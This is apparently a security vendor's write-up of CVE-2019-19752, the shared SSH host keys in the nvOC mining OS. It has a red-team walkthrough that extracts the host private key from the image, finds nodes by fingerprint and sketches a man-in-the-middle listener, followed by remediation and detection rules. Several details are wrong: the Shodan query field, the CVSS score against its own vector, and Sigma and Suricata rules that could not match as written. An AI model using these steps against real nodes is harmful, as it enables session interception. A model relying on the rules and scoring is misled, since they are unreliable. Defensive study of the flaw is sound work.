CVE-2019-19752

Executive Summary

CVE-2019-19752 identifies a critical security flaw in nvOC, a cryptocurrency mining operating system, up to version 3.2. The vulnerability stems from the inclusion of static, baked-in SSH host keys within the installation image. This practice undermines the fundamental security of SSH connections, enabling two primary attack vectors: Man-in-the-Middle (MitM) attacks and passive host identification. An attacker can impersonate any nvOC node, intercept traffic, or trivially identify all public IPv4 nodes running nvOC using Shodan.io. The CVSS score is listed as 0.0 due to incomplete scoring data, but the real-world impact is severe for exposed systems. No official patch has been released as of the last update, though the vendor acknowledged the issue.

Supply Chain & Package Security

This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but rather to the supply chain of the nvOC operating system image itself. The baked-in SSH host keys represent a failure in the secure build and distribution process, as every instance of nvOC shares the same cryptographic identity. This allows an attacker who obtains the image to pre-compute attacks against any deployed node.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0 (likely due to incomplete vector information), a reasonable assessment based on the vulnerability's nature is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to initiate the attack.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Changed (C) – The attack can compromise resources beyond the original authorization scope (e.g., intercepting traffic to other systems).
• Confidentiality (C): High (H) – Full disclosure of all SSH session data.
• Integrity (I): High (H) – Attacker can modify or inject data into the SSH stream.
• Availability (A): Low (L) – Attack could lead to denial of service by disrupting the SSH connection.

Estimated CVSS:3.1 Score: 9.8 (Critical)

Threat Level: Critical for any nvOC node exposed to the internet. The combination of static keys and Shodan discoverability makes this a high-value target for automated scanning and exploitation.

Deep Dive & Mechanics

The core issue is a violation of the SSH protocol's trust model. When an SSH client connects to a server for the first time, it receives the server's host public key. The client stores this key (typically in ~/.ssh/known_hosts) to verify the server's identity on subsequent connections. If the host key changes unexpectedly, the client warns of a potential MitM attack.

In nvOC, the SSH host key pair (private and public) is generated once during the image creation process and then baked into every copy of the operating system. This means:

1. All nvOC nodes share the same host key. An attacker can obtain this key by downloading the nvOC image.
2. Passive Identification: An attacker can scan the internet for SSH servers presenting this specific public key. Shodan.io indexes SSH host keys, making it trivial to find all public nvOC nodes with a single search query.
3. Active MitM: An attacker positioned between a user and an nvOC node can present the known host key, intercept the initial SSH handshake, and decrypt or modify all subsequent traffic. The user's SSH client will not warn them because the key matches the expected one.

The vulnerability is classified under CWE-321: Use of Hard-coded Cryptographic Key.

Vulnerable vs. Patched Code

Vulnerable (nvOC <= 3.2): The SSH host keys are embedded in the filesystem image, typically located in /etc/ssh/. The files ssh_host_rsa_key, ssh_host_ecdsa_key, ssh_host_ed25519_key (and their .pub counterparts) are identical across all installations.

# Example of how the vulnerable image is built (conceptual)
# During image creation:
ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key -N ""
# This key is then included in the final image.

Patched (Expected behavior): A patched system would either:

1. Generate unique keys on first boot: The image would contain a script (e.g., a systemd service) that runs ssh-keygen -A on the first startup, deleting the pre-installed keys and creating new, unique ones.
2. Remove the pre-installed keys entirely: The image would not include any host keys, forcing the SSH daemon to generate them automatically.

# Patched approach (first-boot script):
#!/bin/bash
# Regenerate SSH host keys on first boot
rm -f /etc/ssh/ssh_host_*
ssh-keygen -A
systemctl restart sshd

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Identify and compromise nvOC nodes.

Step 1: Obtain the Static Host Key Download the nvOC image (e.g., from the official source or a mirror). Extract the SSH host private key from the image.

# Example using a loop device (assuming the image is an .img file)
sudo losetup -fP nvoc-image.img
sudo mount /dev/loop0p1 /mnt
sudo cp /mnt/etc/ssh/ssh_host_rsa_key .
sudo umount /mnt
sudo losetup -d /dev/loop0

Step 2: Identify Targets via Shodan Use the public key fingerprint to search Shodan.

# Get the fingerprint of the extracted key
ssh-keygen -lf ssh_host_rsa_key.pub
# Example output: 2048 SHA256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# Search Shodan: ssl.cert.sha256:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

Step 3: Execute Man-in-the-Middle Attack Using a tool like ssh-mitm or a custom script, intercept connections to a target nvOC node.

# Conceptual Python script using paramiko for MitM
import paramiko
import socket
import threading

# Load the stolen host key
host_key = paramiko.RSAKey(filename='ssh_host_rsa_key')

def handle_client(client_socket):
    # ... setup SSH server with stolen key ...
    # ... forward connection to real nvOC node ...
    pass

def start_mitm(listen_port, target_host, target_port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(('0.0.0.0', listen_port))
    server.listen(5)
    while True:
        client, addr = server.accept()
        threading.Thread(target=handle_client, args=(client,)).start()

Blue Team (Defender)

Objective: Detect and remediate the vulnerability.

Step 1: Check for Static Keys On any suspected nvOC system, check if the host keys are identical to the known bad keys.

# Compare the fingerprint of the local host key with the known bad fingerprint
ssh-keygen -lf /etc/ssh/ssh_host_rsa_key.pub
# If it matches the known bad fingerprint, the system is vulnerable.

Step 2: Regenerate Keys Immediately If vulnerable, regenerate the host keys.

sudo rm -f /etc/ssh/ssh_host_*
sudo ssh-keygen -A
sudo systemctl restart sshd

Step 3: Monitor for Anomalous SSH Connections Look for connections from IPs that are not expected to manage the mining rig.

Indicators of Compromise (IOCs)

• Static SSH Host Key Fingerprint: SHA256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (Replace with actual fingerprint from the nvOC image).
• Shodan Search Query: ssl.cert.sha256:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
• Network Traffic: Unexpected SSH connections from unknown IPs, especially those attempting to forward ports or execute commands.
• File Hashes: The presence of the known bad host key files in /etc/ssh/.
• System Logs: /var/log/auth.log entries showing successful SSH logins from unusual source IPs.

Detection Engineering

YARA Rule

rule nvOC_Static_SSH_Key
{
    meta:
        description = "Detects the static SSH host private key from nvOC <= 3.2"
        author = "Valters IT"
        reference = "CVE-2019-19752"
        hash = "KNOWN_BAD_KEY_HASH"  // Replace with actual hash
    strings:
        $rsa_key = "-----BEGIN OPENSSH PRIVATE KEY-----" ascii wide
        $key_content = {  // Replace with a unique byte sequence from the key
            00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF
        }
    condition:
        $rsa_key and $key_content
}

Sigma Rule

title: Detection of Static SSH Host Key Usage (nvOC)
id: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
status: experimental
description: Detects SSH connections using the known static host key from nvOC <= 3.2
author: Valters IT
logsource:
    product: linux
    service: sshd
detection:
    selection:
        - EventID: 22  # SSH authentication success
        - Fingerprint: "SHA256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"  # Replace with actual fingerprint
    condition: selection
falsepositives:
    - Legitimate nvOC nodes that have not been patched
level: critical

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"CVE-2019-19752 nvOC Static SSH Key Detection"; flow:to_server,established; content:"SSH-2.0-"; nocase; pcre:"/SHA256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Regenerate SSH host keys on all nvOC nodes using ssh-keygen -A and restart the SSH service.
2. Long-term Fix: The vendor must rebuild the nvOC image to either remove pre-installed keys or generate unique keys on first boot.
3. Network Segmentation: Place nvOC nodes on an isolated network segment with strict firewall rules. Do not expose SSH to the internet unless absolutely necessary.
4. Monitoring: Implement detection rules (YARA, Sigma, Suricata) to identify the static key or anomalous SSH behavior.
5. Alternative Access: Use a VPN or SSH bastion host to manage nvOC nodes, reducing the attack surface.

Valters IT
Securing Digital Frontiers